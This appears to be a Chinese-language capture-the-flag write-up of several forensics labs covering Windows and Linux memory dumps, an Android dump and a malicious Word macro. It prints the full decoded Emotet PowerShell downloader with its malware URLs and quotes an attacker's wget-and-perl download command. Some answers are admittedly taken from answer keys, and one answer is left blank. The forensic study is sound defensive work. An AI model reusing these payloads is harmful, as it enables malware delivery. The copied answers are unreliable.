答案:C:\WINDOWS\system32\drivers\str.sys

Q7:从最近的进程加载注入的dll文件的名称是什么?

为了识别注入的DLL文件加载到进程中,使用volatility的 ldrmodules 插件。这个插件检查特定进程中加载的模块(dll),并将它们分为三个关键列表: InLoad , InInit ,和 InMem 。这些列表对应于一个DLL是否在进程的加载列表、初始化列表或内存映射中可见。

注入的dll通常会绕过正常的加载机制,使它们在这些类别中的一个或多个中不可见。这种行为强烈暗示了篡改或注入,因为合法的dll通常应该出现在所有三个列表中。

./vol.py -f CYBERDEF-567078-20230213-171333.raw windows.ldrmodules

image-20250312215401729

image-20250312215711844

结果发现了一个明显的异常: msxml3r.dll DLL文件被 svchost.exe 加载,但在 InLoadInInitInMem 列中被标记为 False

这是非常可疑的,因为合法的dll应该在所有这些类别中正确注册。这个DLL在这些列表中没有被完全识别,这表明它已经被注入到进程中。 DLL injection 是攻击者常用的技术,用于在合法进程的上下文中执行恶意代码。通过这样做,它们可以隐藏自己的活动并利用目标进程的特权。

答案:msxml3r.dll

Q8:注入dll的基地址是什么?

malfind 插件的输出显示了一个具有可疑特征的内存区域。 malfind 插件突出显示了从基地地址开始的内存部分 0x980000

image-20250312215924003

这个地址表示被注入的模块在内存中的位置。在该地址出现 MZ 头(十六进制的 4D 5A )强烈表明该内存区域包含一个可执行文件(Portable Executable, PE),例如DLL或可执行文件。

答案:0x980000

LGDroid Lab(安卓取证)

2021年5月21日,一个情报机构截获了一个涉嫌秘密行动的移动设备。取证团队执行完整的磁盘转储,提取数据库、日志和应用程序活动。调查结果显示加密通信、匿名浏览和未经授权的数据传输。分析提取的数据,以确定可疑活动,网络连接和安全风险,同时建立事件时间表。

Q1: Zoe Washburne 的电子邮件地址是什么?

为了确定Zoe Washburne的电子邮件地址,我们首先使用 DB Browser for SQLite 等数据库分析工具分析 contacts3.db 文件。该数据库是从Android手机转储文件中提取的工件的一部分。SQLite数据库通常被移动设备用于存储结构化数据,如联系人、消息或应用程序数据,这使得它们在取证调查中至关重要。

image-20250313183735439

contacts3.db 文件包含存储在设备上的与联系人相关的结构化数据。使用SQLite数据库浏览器,我们可以打开数据库并浏览其表以识别相关信息。其中一个表特别包含联系信息,包括 DisplayNamePhoneNumbersEmails 等列,以及其他元数据,如 Notes 和交互时间戳。通过浏览这个表,我们可以确定每个联系人对应的行。

image-20250313183837226

虽然域 .null 可能看起来不同寻常,但它可能表示占位符或移动设备数据库取证分析中常见的不完整数据。然而,取证程序要求准确地报告发现的数据。

答案:zoewash@0x42.null

Q2:采集时设备的UTC日期时间是多少?

为了确定设备在获取时的UTC时间,我们首先检查提供的Android转储文件中的相关文件。在标记为“Live Data”的目录中,有一个名为 device_datetime_utc.txt 的文件包含了我们需要的特定时间戳信息。

image-20250313184039779

这个过程的简单性强调了在处理数字取证工件时维护有组织的目录结构的重要性。通过对文件进行描述性命名,并以纯文本格式存储关键元数据,调查人员可以快速检索和解释必要的数据,而不需要复杂的解析或额外的工具。

答案:2021-05-21 18:17

Q3:在UTC的什么时候下载了 Tor Browser

为了确定Tor Browser在UTC中下载的时间,我们使用类似于 DB Browser for SQLite 的取证工具分析名为 downloads.db 的数据库文件。该数据库包含有关Android设备上下载的文件的信息,包括文件名、下载路径、时间戳和文件大小等元数据。

image-20250313184338187

时间戳为1619725346000,进行UTC转换(Epoch Converter - Unix Timestamp Converter):

image-20250313184722151

答案:2021-04-29 19:42

Q4:上次重置后,手机什么时候电量达到100% ?

为了确定手机在最后一次重置后充电到100%的确切时间,我们分析 batterystats.txt 文件。该文件记录有关电池行为的详细信息,包括充电状态、电量消耗和设备事件。它是Android诊断数据的组成部分,可以提供对设备使用模式和充电习惯的洞察,这对法医调查中的时间线重建至关重要。

batterystats.txt 文件包含电池事件的时间顺序日志。每个条目都附带一个偏移时间戳,表示自上次重置以来经过的时间,以及其他参数,如电池百分比、充电状态和以毫安时(mAh)为单位的充电水平。为了找到电池达到满电的精确时刻,我们搜索属性 status=full ,因为它表明充电过程已经完成。

image-20250313184958323

这意味着在最后一次复位后的5分1秒459毫秒,电池达到了100%的电量,记录的容量为2665毫安。该日志清楚地显示了电池百分比( 100 ),并确认电池状态为满( status=full ),这是一个完成充电循环的确定指标。

为了确定UTC中的准确时间,我们必须将偏移量与上一次重置的时间戳结合起来。在文件的前面部分,重置时间记录为 2021-05-21 13:12:19 UTC

image-20250313185048173

将数值相加:

2021-05-21 13:17:20

答案:2021-05-21 13:17

Q5:最近连接的WIFI接入点的密码是多少?

为了找出最近连接的Wi-Fi接入点的密码,我们检查了位于 adb-data/apps/com.android.providers.settings 目录中的 com.android.providers.settings.data 文件。

image-20250313185541720

在文件中,Wi-Fi网络的配置数据存储在类似xml的条目中。这些条目包括 SSID (服务集标识符),它标识网络名称,以及 PreSharedKey ,它包含使用WPA或WPA2协议保护的网络的密码。具体来说,Wi-Fi设置部分列出了各种属性,如已知网络的SSID和预共享密钥。

/apps/com.android.providers.settings/ 中搜索 PreSharedKey 字段下存储WiFi密码的文件。

image-20250313185702160

在本例中,我们定位最近连接的Wi-Fi接入点的入口。SSID显示为 "Hot_SSL" ,对应的预共享密钥为 "ThinkingForest!"

这个发现过程强调了系统分析配置文件在取证调查中的重要性。通过浏览结构化数据和定位相关区域,我们可以检索敏感信息,如Wi-Fi密码。

答案:ThinkingForest!

Q6:在2021-05-20 14:13:27时,用户正在使用的是什么应用程序?

为了确定用户在特定时间戳 2021-05-20 14:13:27 时关注的是哪个应用程序,我们分析文件 usage_stats.txt 。该文件是提取的取证数据的一部分,并提供了Android设备上应用程序使用事件的日志。日志包含用户与应用程序交互的详细信息,包括应用程序何时移动到前台或后台,待机状态的变化,以及其他与使用相关的指标。

usage_stats.txt 文件按时间顺序记录事件,每个条目包含一个指定时间戳的 time 字段,一个描述事件类型的 type 字段,以及一个标识与事件相关的应用程序的 package 字段。为了确定哪个应用程序在指定时间处于活动状态,我们需要找到 2021-05-20 14:13:27 最近的 MOVE_TO_FOREGROUND 事件。

image-20250313185934026

该包对应YouTube应用。事件类型 MOVE_TO_FOREGROUND 表示该 YouTube 应用在该时刻成为活动应用,即用户关注该应用。

MOVE_TO_FOREGROUND 事件与识别当前正在使用的应用程序特别相关,因为它反映了用户的交互。

答案:youtube

Q7:嫌疑人在 2021-05-20 上观看YouTube多长时间?

为了确定嫌疑人在2021年5月20日花了多长时间观看YouTube,我们分析了 usage_stats.txt 文件,该文件记录了应用程序的活动,包括应用程序何时移动到前台(活动)或后台(不活动)。这些日志对于计算应用程序的使用时长至关重要。

该文件包含一个表示事件时间戳的 time 字段,一个描述事件性质的 type 字段(例如 MOVE_TO_FOREGROUNDMOVE_TO_BACKGROUND ),以及一个标识应用程序的 package 字段。为了计算在YouTube上花费的总时间,我们关注与 com.google.android.youtube 包相关的事件,并识别应用程序移动到前台和后台时的时间戳。

image-20250313190806641

可以发现22:47:57时用户关掉了youtube,而通过上题分析用户于14:13:27时打开

答案:08:34

Q8:与用手机拍摄的视觉上相似的图像相比,图像 suspicious.jpg" 的结构相似性度量是什么?

要确定 suspicious.jpg 与在手机上捕获的视觉相似的图像( 20210429_151535.jpg )之间的结构相似性度量(SSIM),我们可以使用这个Python脚本

image-20250313192547769

SSIM,或 Structural Similarity Index ,是一种比较两幅图像以确定其视觉和结构相似性的方法。与逐像素比较不同,SSIM评估亮度、对比度和结构相似性,产生0到1之间的分数。分数为1表示图像相同,分数越低表示不相似程度越高。这使得SSIM在评估两个图像是否本质相同的内存分析中特别有用。

为了执行分析,脚本从命令行运行,使用命令 python ssim-calc.py 。一旦脚本处理图像,它将在终端中输出SSIM分数。在这种情况下,计算得到的SSIM分数为 0.997812534804189

image-20250313192700130

将first与second中的png更改为两张图片的路径(这个脚本非常老跑不动,因此使用了imageJ的插件Calculate SSIM Index,结果也不行):

image-20250313201711211

差不多得了,直接上答案

img

这个值非常接近1,表明这两幅图像在结构和视觉外观上几乎完全相同。如此高的SSIM分数表明,这些图像具有几乎相同的内容,只有人眼无法察觉的微小差异。

正如SSIM分数所揭示的那样,这种高水平的相似性可以对取证调查产生重大影响。它证实 suspicious.jpg 与参考图像实际上是相同的,这可能表明这两张图像要么是在相同的背景下拍摄的,要么代表相同的对象。这个发现可以用来确证证据,验证图像的来源,或者检测潜在的篡改。

在这种情况下,SSIM的使用证明了它作为自动图像比较的取证工具的能力。通过利用Python脚本和库,取证人员可以高效准确地评估图像的相似性,即使在可能存在微小变化或压缩的情况下。计算得到的 0.997812534804189 的SSIM值证实了 suspicious.jpg 与参考图像在结构和视觉上有很强的相似性,使其成为本分析中的一个关键发现。

答案:0.99

Brave Lab(内存取证)

从一个疑似被入侵的Windows工作站获取了一个内存映像。该系统属于一个被标记为潜在恶意活动的用户,包括未经授权的访问尝试和不寻常的浏览模式。安全团队观察到与加密通信服务相关的外部IPs的网络活动。

您的任务是分析所提供的内存转储,以发现有关所涉及进程的细节,识别发生泄漏时的活动连接,并跟踪特定应用程序的使用模式。

Q1:根据可疑系统,RAM内存转储是什么时候获取的?

Volatility3 中的 windows.info 插件旨在从内存映像中提取元数据,提供捕捉内存快照时系统环境的信息。这些元数据包括操作系统版本、处理器数量以及系统日期和时间的详细信息。使用这个插件,人们可以确定获取内存映像时的确切时间戳,这对于理解调查的上下文至关重要。

./vol.py -f 20210430-Win10Home-20H2-64bit-memdump.mem windows.info

image-20250314173828043

image-20250314174910536

该时间戳与从内存转储中获得的 SystemTime 值对齐,反映了数据在内存中保存的精确时刻。这些细节在关联事件和时间表方面至关重要,特别是在建立准确的年表是关键的法医调查中。

答案:2021-04-30 17:52

2.内存转储的SHA256哈希值是多少?

使用命令计算:

certutil -hashfile 20210430-Win10Home-20H2-64bit-memdump.mem sha256

image-20250314175328761

答案:9db01b1e7b19a3b2113bfb65e860fffd7a1630bdf2b18613d206ebf2aa0ea172

3.brave.exe的进程号是什么?

./vol.py -f 20210430-Win10Home-20H2-64bit-memdump.mem windows.pstree

image-20250314175902219

答案:4856

4.在获取内存转储时,有多少已建立的网络连接?

./vol.py -f 20210430-Win10Home-20H2-64bit-memdump.mem windows.netscan

为了查看已建立的网络连接,过滤ESTABLISHED内容:

image-20250314180829614

状态 说明
ESTABLISHED 连接已建立,正在进行数据传输
LISTENING 服务器正在监听端口,等待新连接
CLOSE_WAIT 远程主机关闭连接,本地主机等待处理
TIME_WAIT 连接关闭后,等待足够的时间以确保远程主机收到关闭确认
SYN_SENT 发送 SYN 请求,等待远程主机响应(TCP 连接尝试中)
SYN_RECEIVED 收到 SYN,正在等待连接确认
FIN_WAIT1 主动关闭连接,等待对方确认
FIN_WAIT2 对方确认 FIN_WAIT1,等待对方发送 FIN
LAST_ACK 本地主机被动关闭连接,等待对方最后的 ACK
CLOSED 连接完全关闭,不再使用

答案:10

5.Chrome已经与哪个域名建立了网络连接?

由上题可知Chrome建立网络连接的IP为185.70.41.130

直接使用whois进行域名查询(全球 WHOIS 查询全球 WHOIS 查询):

image-20250314182533501

这行数据表示的是 PTR 记录(Pointer Record),也就是反向 DNS 解析(Reverse DNS Lookup) 的结果。

在内存映像分析中,也可以使用DNS解析命令识别,在powershell中执行的命令是:

Resolve-DnsName -Name 185.70.41.130 -Type A

image-20250314182103411

答案:protonmail.ch

6.PID 6988可执行进程的MD5散列值是多少?

./vol.py -f 20210430-Win10Home-20H2-64bit-memdump.mem windows.pstree --pid 6988 --dump

image-20250314182905134

然后计算其MD5值:

certutil -hashfile 6988.OneDrive.exe.0x1c0000.dmp md5

image-20250314183006089

答案:0b493d8e26f03ccd2060e0be85f430af

7.你能找出以偏移量0x45BE876开始、长度为6字节的单词吗?

使用010editor的ctrl+g跳转快捷键功能寻找偏移量为0x45BE876的地点:

image-20250314183412537

答案:hacker

8.powershell.exe的父进程的创建日期和时间是什么?

./vol.py -f 20210430-Win10Home-20H2-64bit-memdump.mem windows.pstree

image-20250314183531502

可以发现powershell.exe的PPID为4352,我们分析PID为4352的进程即可:

image-20250314183624139

答案:2021-04-30 17:39

9.在记事本中打开的最后一个文件的完整路径和名称是什么?

继续分析进程数,查看记事本notepad.exe的输出文件:

image-20250314183908199

Cmd栏中展现了记事本最后一个文件的操作,可以看见其编辑的文件为C:\Users\JOHNDO~1\AppData\Local\Temp\7zO4FB31F24\accountNum

答案:C:\Users\JOHNDO~1\AppData\Local\Temp\7zO4FB31F24\accountNum

10.嫌疑人使用Brave浏览器多久了?(以小时为单位)注:以小时为单位四舍五入到最接近的整数。

为了确定Brave浏览器使用了多长时间,我们应当分析 UserAssist 注册表项。

UserAssist 键在取证调查中是一个很有价值的资源,因为它可以跟踪用户通过Windows Explorer shell执行的应用程序。此键存储有关应用程序使用的元数据,包括执行时间戳和应用程序活动的持续时间,使其对于重建用户活动时间线至关重要。

./vol.py -r pretty -f 20210430-Win10Home-20H2-64bit-memdump.mem windows.registry.userassist

-r pretty 选项确保输出以可读的方式格式化

image-20250314184229307

image-20250314184530825

Time Focus中显示了嫌疑人使用Brave浏览器的使用时间

答案:4

MalDoc101 Lab(恶意软件分析)

威胁行为者通常会利用LOTL (living off the land)技术,例如执行PowerShell来进一步攻击和从宏代码转换。这个挑战旨在向您展示如何经常进行快速分析以提取重要的ioc。这个练习的重点是用于分析的静态技术。

作为安全蓝队分析师,分析工件并回答问题。

Q1:本文档中多个流包含宏,请给出其中最高的一个的数。

在对恶意文档进行分析之前,我们主要利用静态分析工具对其结构和内容进行分析。提供的文件是以 Compound File Binary (CFB) 格式存储的Microsoft Office文档,这种格式是Office文件广泛使用的结构。

image-20250315211857513

这种格式将数据组织为 streams(数据流) 和 storages (存储区),这使得嵌入VBA宏等元素成为可能,攻击者经常利用这些元素来传递恶意有效载荷。

下一步涉及到使用名为 oledump 的工具来分析CFB格式的流。>是一个基于python的工具,用于提取和检查嵌入在Office文档中的流。:

python oledump.py sample.bin

列出所有流,显示它们的索引、大小和类型。标记为 M 的流表示VBA宏的存在。这些数据流对分析至关重要,因为它们通常包含恶意代码。

image-20250315212256662

从该命令的输出可以看出,有几个流与宏相关。每个流都有唯一的标识符和大小。流的大小可以让我们了解它的重要性或复杂性。在这种情况下,包含宏数字最大的流是stream 16

注意 Mm 指标 oledump 的主要区别在于它们所代表的宏含量类型:

  • M(大写M):该指示符表示一个包含 attributescompressed VBA code 宏的流。压缩后的代码需要解压缩以分析宏的功能,这通常涉及恶意。 M 通常表示流包含通过压缩隐藏的可执行宏内容。
  • m(小写m):这个指示符表示流中包含 attributes 的宏,但没有实际的宏代码。这些流可能包括与宏环境相关的元数据或描述符,没有任何功能或可执行的VBA内容。

Attributes 与VBA宏相关的元数据或描述性信息。这些属性可能包括有关宏环境的详细信息,例如它的名称、描述或其他不可执行属性。属性是宏结构的一部分,但不包含执行操作或操作的实际代码。

情况 含义 可能性
attributes 只有 VBA 模块的元数据,没有实际代码 可能是空宏,也可能是伪装
attributes + compressed VBA code 包含实际的 VBA 代码 需要进一步分析是否是恶意代码

答案:16

Q2:什么事件用于开始执行宏?

要确定使用什么事件来初始化文档中宏的执行,我们依赖一个名为 olevba 的工具。这个基于python的实用程序是 oletools 套件的一部分,旨在分析和提取Microsoft Office文档中嵌入的VBA宏中的信息。它可以识别宏中的自动执行关键字、可疑模式和潜在的妥协指示器(IOCs)。

Releases · decalage2/oletools

安装命令:

pip install -U oletools-0.60.2.zip

在此分析中,在powershell中执行以下命令来提取和分析嵌入在文件中的宏:

olevba sample.bin

image-20250315214937383

输出显示了揭示宏行为的各种关键字和描述。输出中的一个关键点是 AutoExec 关键字的存在,特别是与 Document_open 事件相关。

Document_open 事件是一个VBA触发器,在打开文档时自动执行。一旦受害者打开文档,攻击者通常会利用这一功能发起恶意代码。通过利用这个事件,恶意宏不需要用户进行任何手动操作,例如单击按钮,使其成为有效的初始攻击向量。

此外,分析输出突出了其他可疑活动,例如使用命令创建对象、操作字符串或解码base64编码的数据。这些是与VBA宏中的恶意行为相关的危险标志。

答案:Document_open

Q3:该恶意文档试图投放(传播)哪种恶意软件家族?

计算该文档的sha-256上virustotal进行分析:

certutil -hashfile sample.bin sha256

image-20250315215348848

答案:emotet

Q4:哪个流负责存储base64编码的字符串?

调查Q2使用 olevba 工具来检查嵌入在文档中的流开始。通过分析流,我们可以确定重要数据(如编码字符串)可能存在的位置:

image-20250315215535574

该命令列出了所有流及其相关内容,重点关注那些大尺寸或显示异常模式的流。其中一个被识别的流名为 Macros/roubhaol/i09/o ,由于其巨大的体积,它很突出,表明它包含混淆或编码的内容。

为了更深入地研究,这个特定流的内容被提取出来。流显示了一个很长的文本块,与base64编码的数据一致。这种编码格式是混淆的有力标志,这是攻击者经常使用的一种隐藏有效载荷或命令的策略。Base64字符串通常隐藏了恶意脚本、url或其他敏感指令,必须对这些指令进行解码才能了解恶意代码的意图。

识别出这个流之后,下一步是弄清楚与这个流相关联的流编号。根据Q1中使用 oledump 发现与该流相关联的流编号为 34

image-20250315212256662

答案:34

Q5:这个文档包含一个用户表单。提供名称?

要确定文档是否包含用户表单并确定其名称,我们首先要理解什么是用户表单及其重要性。在Microsoft Office文档的上下文中, user-form 是嵌入在VBA宏中的图形界面。它提供了一种与用户交互、收集输入或执行某些功能的方法。恶意行为者经常使用用户表单来执行隐藏的代码、欺骗用户或为恶意有效载荷的传递提供便利。

调查从使用 oledump 工具分析文档中的VBA流开始。该工具可以识别各种宏流及其内容。每个流都会检查嵌入式用户表单,这些表单通常存储为VBA项目中的 .frm 文件。这些 .frm 文件定义了用户表单的布局和功能,包括与之相关的任何属性或事件处理程序。

在分析过程中,识别出一个名为 Macros/VBA/roubhaol 的流(小写m,说明其只有 VBA 模块的元数据,没有实际代码)。

这个流包含一个名为 roubhaol.frm 的用户表单。

.frm 扩展用于确认此流存储一个表单定义,它是嵌入在文档中的VBA项目的一部分。尽管这个表单在分析输出中显示为空,但它的存在表明它是被设计为恶意文档行为的一部分。本文档中用户表单的名称为 roubhaol

Q6:这个文档包含一个经过混淆处理的base64编码字符串;什么值用于填充(或混淆)这个字符串?

在提取Q4中找到的这些数据之后,内容被保存到一个文本文件中以供进一步检查。仔细研究该文件可以发现一个重复出现的序列, 2342772g3&*gs7712ffvs626fq ,散布在编码的字符串中。

image-20250315220944613

答案:2342772g3&*gs7712ffvs626fq

Q7:由base64编码的字符串执行的程序是什么?

将混淆的部分进行删除后base64解码:

powersheLL -e $liechrouhwuw='vuacdouvcioxhaol';[Net.ServicePointManager]::"SE`cuRiTy`PRO`ToC`ol" = 'tls12, tls11, tls';$deichbeudreir = '337';$quoadgoijveum='duuvmoezhaitgoh';$toehfethxohbaey=$env:userprofile+'\'+$deichbeudreir+'.exe';$sienteed='quainquachloaz';$reusthoas=.('n'+'ew-ob'+'ject') nEt.weBclIenT;$jacleewyiqu='https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/*https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/*http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/*http://holfve.se/images/1ckw5mj49w_2k11px_d/*http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/'."s`PliT"([char]42);$seccierdeeth='duuzyeawpuaqu';foreach($geersieb in $jacleewyiqu){try{$reusthoas."dOWN`loA`dfi`Le"($geersieb, $toehfethxohbaey);$buhxeuh='doeydeidquaijleuc';If ((.('Get-'+'Ite'+'m') $toehfethxohbaey)."l`eNGTH" -ge 24751) {([wmiclass]'win32_Process')."C`ReaTe"($toehfethxohbaey);$quoodteeh='jiafruuzlaolthoic';break;$chigchienteiqu='yoowveihniej'}}catch{}}$toizluulfier='foqulevcaoj'

可以发现执行的程序为powershell

powershell -e 的出现,表明被编码的字符串被设计为在触发时执行 PowerShell 脚本。 PowerShell 由于具有强大的脚本功能和绕过传统安全措施的能力,常被用于恶意活动中。在这种情况下,文档的嵌入宏代码很可能解码并执行base64字符串,作为其有效载荷交付过程的一部分。

答案:powershell

Q8:什么WMI类被用来创建启动木马的进程?

要确定用于创建启动木马进程的 WMI (Windows Management Instrumentation),Windows 管理规范 类,首先必须了解WMI在此类场景中的作用。WMI是Windows中的一个功能强大的框架,它提供管理工具,并允许脚本或应用程序在本地或远程系统上执行操作。攻击者经常利用WMI来执行命令、管理进程,并通过将恶意有效载荷集成到合法的系统操作中来逃避检测。

在解码的脚本中,一个部分引用一个WMI类的实例来创建一个进程。具体来说,解码的内容包括对 win32_Process 类的引用。

image-20250315221539380

这个WMI类通常用于在Windows系统上创建和管理进程。该脚本使用 Win32_Process::Create 执行恶意可执行文件,如命令结构所示。

从提取的内容可以看出,该脚本动态地构造有效载荷,下载它,然后使用WMI Win32_Process 类执行它。该技术允许攻击者在不依赖传统进程执行方法的情况下,隐蔽地启动木马,更容易触发安全工具的检测。

答案:win32_process

Q9.联系多个域名下载木马。根据提供的提示提供第一个FQDN。

FQDN(Fully Qualified Domain Name,全限定域名) 是指一个 完整的域名,它明确指定了一台服务器在 DNS 体系中的唯一位置。

这个域 haoqunkong.com ,是脚本中引用的第一个FQDN。该脚本构建并联系这个URL以获取恶意负载。在URL中使用HTTPS试图加密传输,这使得网络安全工具拦截和分析通信更具挑战性。

答案:haoqunkong.com

Ulysses Lab(磁盘取证)

在多次身份验证失败后,一个研究服务器被标记为可疑活动。分析人员检测到暴力攻击、未经授权的出站连接和可能的持久性机制。使用Volatility,加载了自定义的 Debian5_26 概要文件来分析内存转储并识别恶意进程。你的任务是调查取证工件,确定攻击者的入口点,并发现任何部署的有效载荷。

img

题目给出了四个文件:Debian5_26.zipvictoria-v8.sda1.imgvictoria-v8.kcore.imgvictoria-v8.memdump.img

他们的作用:

Debian5_26.zip:转为volatility2准备的系统版本配置文件

victoria-v8.sda1.imgsda1 是典型的 Linux 磁盘分区命名,表示第一块磁盘(sda)的第一个主分区(1),通常为 系统根分区引导分区

victoria-v8.kcore.imgkcore 是 Linux 系统中 /proc/kcore 的命名惯例,表示 物理内存的虚拟映射文件

``victoria-v8.memdump.img`:明确为 物理内存转储文件,保存系统某一时刻的完整内存状态,包括进程、网络连接、加密密钥等易失性数据。

Q1:攻击者正在进行暴力攻击。哪个账户触发了警报?

使用FTK对victoria-v8.sda1.img进行磁盘挂载:

image-20250316093053865

挂载映像后,通过导航到 /var/log 目录进行调查,这是Linux系统日志文件的一个常见位置。此目录包含跟踪系统事件、用户活动和身份验证尝试的日志。在这些日志中, auth.log 文件是检查身份验证事件和潜在入侵企图的关键工件。打开这个日志文件会显示有关系统身份验证活动的详细条目,包括成功和失败的登录尝试。

auth.log 文件中,有明确的证据表明针对 ulysses 帐户的多次认证失败。

image-20250316093150662

答案:ulysses

Q2:在调查日志时。同一用户提醒了多少次登录失败?

使用正则表达式进行分析搜索:

failed.*ulysses

image-20250316093427625

共32项

答案:32

Q3:在目标服务器上运行什么样的系统?

为了识别在目标服务器上运行的操作系统,我们要检查挂载的磁盘映像的内容,特别是 /etc 目录中的内容。这个目录包含一些关键的配置文件,可以让用户了解主机系统的环境。其中一个文件是 issue ,其中通常包含一个简短的系统标识字符串,包括操作系统和版本。

image-20250316093739105

/etc 目录关键文件分析表

文件路径 用途描述 关键字段/内容示例 分析建议
/etc/issue 显示登录提示时的系统标识字符串。 Debian GNU/Linux 5.0 确认操作系统类型及版本,用于初步指纹识别。
/etc/os-release 提供操作系统的详细元数据(标准化格式)。 NAME="Debian" VERSION="11 (bullseye)" PRETTY_NAME="Debian GNU/Linux 11" 最可靠的 OS 标识来源,用于精确版本匹配。
/etc/lsb-release 符合 LSB 标准的发行版信息。 DISTRIB_ID=Debian DISTRIB_RELEASE=11 DISTRIB_CODENAME=bullseye 补充 os-release,验证发行版兼容性和代码名称。
/etc/passwd 存储用户账户信息(不含密码)。 root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 识别系统用户、UID、默认 Shell 及服务账户,排查异常用户。
/etc/fstab 定义文件系统挂载配置。 /dev/sda1 / ext4 defaults 0 1 tmpfs /tmp tmpfs defaults,noexec,nosuid 0 0 检查挂载选项(如 noexec, nosuid)是否安全,识别非常规存储设备或共享目录。
/etc/hostname 存储系统主机名。 webserver01 确认主机名是否与网络规划一致,排查仿冒或默认名称。
/etc/network/interfaces 定义网络接口配置(Debian/Ubuntu 系统)。 auto eth0 iface eth0 inet static address 192.168.1.10 netmask 255.255.255.0 分析 IP 分配、网关和子网配置,识别异常接口或静态地址绑定。
/etc/resolv.conf 配置 DNS 解析服务器。 nameserver 8.8.8.8 nameserver 1.1.1.1 检查是否使用可信 DNS,排查恶意域名解析或内部 DNS 劫持。

答案:Debian GNU/Linux 5.0

Q4:受害者的IP地址是什么?

方法一:分析DHCP租期

我们可以检查linux系统中现有的dhclient租期。

/var/lib/dhcp3/ 中查找与DHCP租期相关的文件:

image-20250316101303487

主要分析fixed-address,可以发现最近的DHCP分配的IP地址为192.168.56.102

方法二:加载内存转储进行分析

首先为volatility2安装配置文件:

概要文件 Debian5_26.zip 被放置到 volatility/plugins/overlays/linux 目录中(lovelymem的路径为Lovelymem_v0.91\Tools\volatility2_python\volatility\plugins\overlays\linux)。

该位置是 Volatility 存储Linux系统的所有配置文件覆盖的地方。概要文件的适当放置确保工具可以在分析过程中识别和使用它。配置profile后,通过执行 python2 vol.py --info 命令进行验证。该命令生成波动性框架中所有可用概要文件的列表。在列出的概要文件中, LinuxDebian5_26x86 出现,确认自定义概要文件已成功添加:

image-20250316095511710

image-20250316095947442

自定义配置文件已成功添加。

为了确定受害者的IP地址,该进程首先准备 Volatility 分析内存(lovelymem中volatility2难以更改profile,这里直接使用指令):

./vol.py --profile=LinuxDebian5_26x86 -f victoria-v8.memdump.img linux_netstat

linux_netstat 插件检查内存捕获时系统的活动网络连接。输出包括本地IP地址、远程IP地址、端口和各种网络连接的状态等详细信息。

image-20250316100538375

答案:192.168.56.102

Q5:攻击者的两个IP地址是什么?

由内存转储的分析中可知攻击者的两个IP

或者

由Q1分析可知攻击者的一个IP为192.168.56.1

全盘搜索相关IP,寻找是否存在关联IP(挂载磁盘后进行搜索):

grep -r -F -l '192.168.56.1'
或
Get-ChildItem -Recurse | Select-String -Pattern '192.168.56.1' -List | Select-Object -ExpandProperty Path

image-20250316104549879

Exim4是一个高度可配置的、被广泛使用的邮件传输代理(Mail Transfer Agent, MTA),用于在类unix操作系统(包括Linux)上路由、传递和管理电子邮件。>以其灵活性而闻名,允许系统管理员调整其配置以满足不同环境的需求,从个人服务器到大型企业邮件系统。

当使用 exim4 向系统发送电子邮件时,MTA通过SMTP接收邮件,并根据其配置进行处理。它决定适当的交付机制(例如,本地交付或中继到另一个服务器)。如果是中继, exim4 与链中的下一个邮件服务器通信,直到电子邮件到达最终目的地。

虽然 exim4 是一个强大的工具,但由于它的广泛使用,已经成为攻击者的目标。旧版本或未正确配置的版本中的漏洞被利用:

  1. 远程代码执行(RCE):攻击者发送特制的有效载荷来执行服务器上的任意命令。
  2. 垃圾邮件转发:错误配置的系统可能被滥用发送垃圾邮件或网络钓鱼电子邮件。
  3. 权限提升:利用漏洞获得对系统未经授权的根级访问。

主要分析exim4邮件服务器rejiectlog中的拒绝日志:

image-20250316104908748

image-20250316104926789

可以看出攻击者曾使用邮件协议进行exim4服务上的缓冲区溢出,攻击通过邮件头进行。

得到攻击者的第二个IP。

答案:192.168.56.1,192.168.56.101

Q6:服务器上运行的 nc 服务PID号是什么?

分析内存转储中的进程列表:

./vol.py --profile=LinuxDebian5_26x86 -f victoria-v8.memdump.img linux_pslist

image-20250316105157922

答案:2169

Q7:攻击者利用什么服务来访问系统?

全盘搜索:

grep -r -E '192.168.56.[1|101]'
或
Get-ChildItem -Recurse | Select-String -Pattern '192.168.56.[1|101]' -List | Select-Object -ExpandProperty Path

还是找得到exim4服务中的命令执行部分:

image-20250316105821813

答案:exim4

Q8:被利用的漏洞的CVE数量是多少?

image-20250316110158579

我是找不到,直接看答案了

谷歌搜索关键词:Exim4 buffer overflow headers

得出CVE-2010-4344

攻击过程如下:

  1. 连接到Exim服务:攻击者识别出目标系统正在运行一个有漏洞的 exim4 版本。
  2. 恶意负载传递:攻击者使用精心设计的请求,利用 CVE-2010-4344 在服务器上执行shell命令。这可以从显示 /bin/sh 和外部IP地址使用的日志条目中观察到。
  3. 下载恶意脚本:实现RCE后,攻击者使用 wget 实用程序获取驻留在攻击者服务器上的恶意脚本( 192.168.56.1 )。该命令直接在受害服务器上执行:
/bin/sh -c "wget http://192.168.56.1/c.pl -O /tmp/c.pl; perl /tmp/c.pl"/bin/sh - c”wget http://192.168.56.1/c.pl - o / tmp / c.pl;perl / tmp / c.pl”

该命令将 c.pl 脚本下载到 /tmp 目录下,并使用 perl 执行。

img

exim4 漏洞允许攻击者绕过认证机制,以root用户直接执行命令。

img

答案:CVE-2010-4344

Q9:在攻击过程中,攻击者向服务器下载了两个文件。提供压缩文件的名称。

在日志文件中搜索关键词:

zip、tar、rar

image-20250316110633144

答案:

Q10:在调查过程中,有两个端口涉及数据外泄。nc 命令用于外泄数据的是哪个远程端口?

从Q4中用 linux_netstat 的分析,本次攻击涉及以下远程端口:

  • 4444:该端口被用作与攻击者IP建立连接的一部分。
  • 8888:在建立连接期间用于数据通信的另一个端口。

image-20250316100538375

答案:8888

Q11:攻击者阻止了向哪个端口的防火墙上发送流量?

为确定攻击者试图在防火墙上阻断的端口,对提取的恶意文件 rk.tar 的内容进行调查:

image-20250316112928372

tar -zxvf rk.tar

image-20250316113231769

我们分析提取的文件,特别是 install.sh 脚本。该脚本包含一些命令,用于修改系统设置和控制被入侵的机器:

image-20250316113403212

这些命令表示攻击者试图阻止向45295端口发送的流量。具体:

